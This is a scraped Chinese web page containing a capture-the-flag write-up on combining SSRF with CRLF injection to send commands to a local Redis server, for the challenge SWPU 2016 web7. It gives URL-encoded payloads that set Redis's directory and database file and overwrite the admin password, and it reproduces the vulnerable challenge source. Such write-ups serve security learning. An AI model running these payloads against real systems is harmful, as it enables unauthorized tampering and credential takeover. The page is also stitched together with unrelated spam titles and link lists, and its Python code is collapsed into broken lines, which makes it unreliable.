当前位置: 首页 > news >正文

建设银行网站地址做58一样的网站

建设银行网站地址,做58一样的网站,中轻成都设计院,个人 邮箱 含网站 域名文章目录 注入原理例题 [SWPU 2016]web7 注入原理 参考文章 应用场景是具有SSRF漏洞,结合CRLF注入 我们以redis数据库为例,当存在SSRF时我们伪造以下请求 http://127.0.0.1%0d%0aCONFIG%20SET%20dir%20%2ftmp%0d%0aCONFIG%20SET%20dbfilename%20evil%…

文章目录

    • 注入原理
    • 例题 [SWPU 2016]web7


注入原理

参考文章

应用场景是具有SSRF漏洞,结合CRLF注入
我们以redis数据库为例,当存在SSRF时我们伪造以下请求

http://127.0.0.1%0d%0aCONFIG%20SET%20dir%20%2ftmp%0d%0aCONFIG%20SET%20dbfilename%20evil%0d%0a:6379/foo

解码一下,执行过程就是将修改Redis的工作目录为 /tmp,然后修改Redis的数据库文件名为 evil,路径为默认端口的/foo

http://127.0.0.1
CONFIG SET dir /tmp
CONFIG SET dbfilename evil
:6379/foo

然后就可以执行相关操作,比如修改用户的密码
再次利用ssrf漏洞进行修改并保存

http://127.0.0.1%0d%0aset%20admin%20admin%0d%0asave%0d%0a:6379/foo

解码结果如下

http://127.0.0.1
set admin 123456
save
:6379/foo

例题 [SWPU 2016]web7

源码

#!/usr/bin/python 
# coding:utf8__author__ = 'niexinming'import cherrypy
import urllib2
import redisclass web7:@cherrypy.exposedef index(self):return "<script> window.location.href='/input';</script>"@cherrypy.exposedef input(self,url="",submit=""):file=open("index.html","r").read()reheaders=""if cherrypy.request.method=="GET":reheaders=""else:url=cherrypy.request.params["url"]submit=cherrypy.request.params["submit"]try:for x in urllib2.urlopen(url).info().headers:reheaders=reheaders+x+"<br>"except Exception,e:reheaders="错误"+str(e)for x in urllib2.urlopen(url).info().headers:reheaders=reheaders+x+"<br>"file=file.replace("<?response?>",reheaders)return file@cherrypy.exposedef login(self,password="",submit=""):pool = redis.ConnectionPool(host='127.0.0.1', port=6379)r = redis.Redis(connection_pool=pool)re=""file=open("login.html","r").read()if cherrypy.request.method=="GET":re=""else:password=cherrypy.request.params["password"]submit=cherrypy.request.params["submit"]if r.get("admin")==password:re=open("flag",'r').readline()else:re="Can't find admin:"+password+",fast fast fast....."file=file.replace("<?response?>",re)return file
cherrypy.config.update({'server.socket_host': '0.0.0.0','server.socket_port': 8080,})
cherrypy.quickstart(web7(),'/')

可以看到引入urllib2模块,题目逻辑比较清晰,就是要登录admin才能获取flag,admin的密码就在redis数据库中,然后input中使用了urllib2.open().info().headers应该是可以利用SSRF来注入redis修改admin的密码的。

我们直接修改密码(redis默认端口为6379)

http://127.0.0.1%0d%0aset%20admin%20123456%0d%0a:6379//解码如下
http://127.0.0.1
set admin 123456
:6379

在这里插入图片描述

http://www.yayakq.cn/news/446484/

相关文章:

  • 商城类网站和o2o网站网站建设公司有哪些主要内容组成
  • 西安网站建设有限公司营销型网站内容
  • 青海建设局网站3D特效做首页的网站
  • 温州瓯海建设局网站主流网站建设服务器有哪些
  • 时尚美容网站建设短链接生成下载
  • 网站工程师证书wordpress主题套用教程
  • 山东网站备案注销单品商城网站源码
  • 合肥公司网站设计熊猫关键词工具
  • 珠海公司做网站开网店怎么开 新手
  • 珠海特价做网站网站建设的毕业设计选题管理系统
  • 手机网站 域名网页游戏小游戏
  • 比较好的网站开发团队个人养老保险2023价格表
  • 请人做网站谁来维护4a级旅游网站建设的要求
  • 上海网站建设 知名做腾讯企点官网入口
  • 二手房公司网站源码深圳网络营销策划
  • 网站建设字体变色代码微信营销的优势有哪些
  • 网站建设的总体需求页面模板免费
  • 网站刚做怎么做seo优化做网站用小公司还是大公司好
  • 青岛做网站多少钱手机网站建设电话咨询
  • 比较有趣的网站中英 网站模板 带手机版
  • 做网站需要懂什么在线教育网站建设
  • 电商网站开发常用代码网站开发保密协议
  • 织梦 一键更新后网站空白开锁做网站哪个好
  • 郑州公司建网站百度应用商店
  • 做网站运营的职业生涯规划惠州seo快速排名
  • 餐饮网站建设的模板策划平台
  • 做ppt的软件怎么下载网站做网站搜索如何显示官网
  • 网站免费优化青州网站设计公司
  • 怎么把网站设置为信任网站湖南益阳网站建设
  • 建设网站赚钱的方法网站文章添加